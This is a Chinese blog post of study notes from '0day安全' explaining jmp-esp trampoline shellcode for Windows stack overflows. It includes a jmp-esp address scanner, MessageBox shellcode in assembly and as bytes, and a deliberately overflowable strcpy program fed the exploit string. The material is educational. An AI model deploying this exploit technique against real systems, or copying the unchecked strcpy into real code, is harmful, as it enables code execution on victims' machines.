1. 程式人生 > >以jmp esp 為跳板的shellcode開發

以jmp esp 為跳板的shellcode開發

0x00 Shellcode概述

  • Shellcode與exploit
    1) shellcode:緩衝區攻擊中植入程序的程式碼。進行刪改檔案、竊取資料、上傳木馬並執行、格式化硬碟等。用匯編語言編寫,並轉換成二進位制機器碼,內容和長度受到苛刻限制。
    2) exploit: 漏洞利用程式,用於生成攻擊性的網路資料包或其他形式的攻擊性輸入。exploit的核心是淹沒返回地址,劫持程序控制權,跳去執行shellcode
    3) 區別:shellcode具有一定的通用性,exploit針對特定漏洞
    這裡寫圖片描述

0x01 定位shellcode

  • 漏洞利用過程中,由於動態連結庫的裝入和解除安裝等原因,Windows程序的函式棧幀可能產生移位,即shellcode在記憶體中的地址是動態變化的,因此需要exploit在執行時動態定位棧中的shellcode。

  • 函式返回步驟
    1) 儲存返回值:函式返回值儲存在EAX暫存器
    2) 彈出當前棧幀,恢復上一個棧幀
    a) ESP + 當前棧幀大小:堆疊平衡基礎上,降低棧頂,回收當前棧幀空間
    b) POP EBP:前棧幀EBP彈給EBP,恢復上一個棧幀
    c) POP EIP:函式返回地址彈給EIP
    3) 跳轉:按EIP的值返回母函式繼續執行
    由函式呼叫過程可知,一般情況下,ESP中地址總是指向系統棧且不會被溢位的資料破壞。函式返回時,ESP所指的位置是淹沒的返回地址的下一位(子函式平衡棧ret n時,ESP將指向下n位)。

  • 可用”jmp esp”作為跳板動態定位shellcode
    1) 用記憶體中任意一個”jmp esp”的地址覆蓋返回地址
    2) 函式返回後被重定向去執行記憶體中jmp esp指令
    3) 由於函式返回後ESP指向返回地址後,jmp esp執行後,CPU將到棧區函式返回地址之後的地方取指令執行
    4) shellcode的佈置。緩衝區前面一段用任意資料填充,把shellcode放在函式返回地址後面。jmp esp執行完就執行shellcode。

  • 獲取跳板的地址
    1) 一些經常被用到的動態連結庫會被對映到記憶體,如kernel.32.dll、user32.dll會被幾乎所有程序載入,且載入基址始終相同(不同OS上可能不同)。所有這裡使用user32.dll中的jmp esp作為跳板。
    2) 程式設計搜尋jmp esp的記憶體地址。搜尋得到以下地址,從中選取0x77d93acc作為定位shellcode的跳板覆蓋函式返回地址。
    這裡寫圖片描述

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
    BYTE* ptr;
    int
position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } getchar(); }
  • shellcode功能需求

    1) 呼叫MessageBox實現彈窗
    a) 裝載user.dll動態連結庫,MessageBox是user32.dll的匯出函式
    b) 獲得函式入口地址,用Dependency Walker開啟一個圖形介面程式,找到user.dll的基址為0x77D10000,MessageBoxA的偏移地址為0x000407EA,故入口地址為0x77D507EA。
    c) 向棧中壓入MessageBoxA的4個引數

    2) 為程式避免堆疊不平衡導致崩潰,呼叫exit函式讓程式正常退出。用Dependency Walker找出ExitProcess函式(Kernel32.dll的匯出函式)入口地址,0x7C81CDDA。

int MessageBox
( HWND,     //handle to owner window
LPCTSTR,        //text in message box
LPCTSTR,        //message box title
UINT        //message box style
)
  • shellcode彙編程式碼
    用EBX清零後入棧作為”failwest”截斷符是為了避免PUSH 0中的NULL,否則植入的機器碼會被strcpy函式截斷。
#include <windows.h>
int main()
{   
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
            sub sp,0x440
            xor ebx,ebx
            push ebx         // cut string
            push 0x74736577
            push 0x6C696166 //push “failwest”

            mov eax,esp     //load address of failwest
            push ebx    // Messagebox (0,failwest,failwest,0)
            push eax
            push eax
            push ebx

            mov  eax, 0x77D507EA    //(0x77D804EA) address should be reset in different OS
            call eax        //call MessageboxA

            push ebx
            mov eax, 0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS
            call eax        //call exit(0)
    }
}
  • 將shellcode彙編程式碼在VC中編譯得到的.exe檔案放到OllyDbg中除錯獲得機器碼,組織好並放入exploit中。返回地址\xCC\x3A\xD9\x77前填充資料量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
#include"stdio.h"
#include"string.h"
#include <windows.h>
#define PASSWORD "1234567"

char password[1024] = "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
                       "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
                       "\x34\x33\x32\x31\x34\x33\x32\x31\xCC\x3A\xD9\x77"
                       "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69"
                       "\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77"
                       "\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";

int verify_password (char *password)
{
    int authenticated;
    char buffer[22];// add local buff
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}

void main()
{
    int valid_flag=0;
    LoadLibrary("user32.dll");//prepare for messagebox
    while(1)
    {

        valid_flag = verify_password(password);

        if(valid_flag)
        {
            printf("incorrect password!\n\n");
        }
        else
        {
            printf("Congratulation! You have passed the verification!\n");
            break;
        }
    }
}
  • 原理解釋:
    1) 拷貝前後棧中變數分佈:
    拷貝前:
    這裡寫圖片描述
    拷貝後:
    這裡寫圖片描述

    2) 函式返回到jmp esp
    這裡寫圖片描述
    此時ESP的值為0x0012FB2C
    這裡寫圖片描述

    3) 執行jmp esp,CPU將取shellcode指令執行
    這裡寫圖片描述

    4) 執行結果:彈窗並正常退出而不報錯。
    這裡寫圖片描述

——《0day安全》學習筆記